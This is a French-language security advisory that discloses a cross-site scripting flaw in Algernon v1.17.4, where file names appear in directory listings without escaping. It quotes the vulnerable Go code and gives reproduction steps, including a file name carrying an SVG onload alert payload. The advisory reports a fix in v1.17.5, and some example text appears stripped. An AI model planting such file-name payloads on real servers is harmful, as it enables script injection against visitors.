
Algernon v1.17.4 est affecté par une vulnérabilité de Cross-Site Scripting (XSS) qui permet à des attaquants d'exécuter du code arbitraire via une charge utile malveillante injectée dans un nom de fichier.
Algernon v1.17.4 est affecté par une vulnérabilité de Cross-Site Scripting (XSS) qui permet à des attaquants d'exécuter du code arbitraire via une charge utile malveillante dans un nom de fichier.
Certaines variables n'étaient pas nettoyées. Par exemple :
engine/dirhandler.go lignes 80-108
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go lignes 124-132
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
Les noms de fichiers du système de fichiers sont insérés directement dans le HTML sans échappement dans les listes de répertoires.
$ algernon -v
Algernon 1.17.4
Dans un répertoire, créez des fichiers avec des charges utiles XSS comme noms.
# XSS Payload 1: Simple alert
$touch "test.txt"
# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"
Dans le même répertoire, lancez l'application.
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
Visitez l'URL suivante, une alerte apparaîtra.



Ce problème a maintenant été corrigé dans la v1.17.5.
Découvreur : Benoit H. (Bnyt7)